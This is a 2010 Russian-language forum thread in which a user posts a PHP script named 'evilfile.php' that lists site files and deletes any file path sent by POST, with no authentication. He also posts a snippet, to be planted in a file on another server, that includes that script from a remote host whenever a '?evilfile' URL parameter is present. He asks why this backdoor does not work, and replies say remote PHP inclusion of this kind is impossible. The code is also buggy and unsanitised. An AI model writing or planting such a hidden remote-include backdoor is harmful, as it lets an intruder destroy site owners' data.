|
|
|
| Написал скрипт, который выводит список файлов и позволяет их удалять и разместил его на сервере (http://site.ru/evilfile.php):
<?php
function DirFiles($dir,$types)
{
$files = Array();
if($handle = opendir($dir))
{
while (false !== ($file = readdir($handle)))
{
if ($file != "." && $file != "..")
{
if(is_dir($dir."/".$file))
$files = array_merge($files,DirFilesR($dir."/".$file,$types));
else
{
$pos = strrpos($file,".");
$ext = substr($file,$pos,strlen($file)-$pos);
if($types)
{
if(in_array($ext,explode(';',$types)))
$files[] = $dir."/".$file;
}
else
$files[] = $dir."/".$file;
}
}
}
closedir($handle);
}
return $files;
}
echo '<form action="" method="post"><select name="ext"><option>php</option><option>txt</option><option>css</option><option>html</option></select><input type="submit" value="Go"></form>';
if(!empty($_POST['delete']))
{
if(unlink($_POST['delete'])) echo "Файл <b>$_POST[delete]</b> удален";
else echo "Ошибка при удалении файла <b>$_POST[delete]</b>";
}
elseif(!empty($_POST['ext']))
{
$f=DirFiles($direkt,".".$_POST['ext']); echo "<b>Файлы сайта с расширением .$_POST[ext]:</b><br /><br />";
foreach($f as $k=>$v) echo "<form action=\"\" method=\"post\"><input name=\"delete\" type=\"hidden\" value=\"$v\">$v <input type=\"submit\" value=\"Del\"></form>";
}
?>
|
Вопрос:
почему, размещая на другом сервере в каком-либо из файлов код:
<?
$direkt=$_SERVER['DOCUMENT_ROOT'];
if(isset($_GET['evilfile'])) include("http://site.ru/evilfile.php");
?>
|
и прописывая вручную в урле ?evilfile код из http://site.ru/evilfile.php не работает???
Точнее не работает передача POST данных и функция?
Помогите разобраться.
Спасибо. | |
|
|
|
|
|
|
|
для: aetern
(12.08.2010 в 00:15)
| | Молчание, я так понимаю, связано с тем, что это не правильно делать инклюды php-скрипта (с POST-ами) с другого сервера. Или это не возможно? | |
|
|
|
|
|
|
|
для: aetern
(12.08.2010 в 22:28)
| | PHP скрипта невозможно | |
|
|
|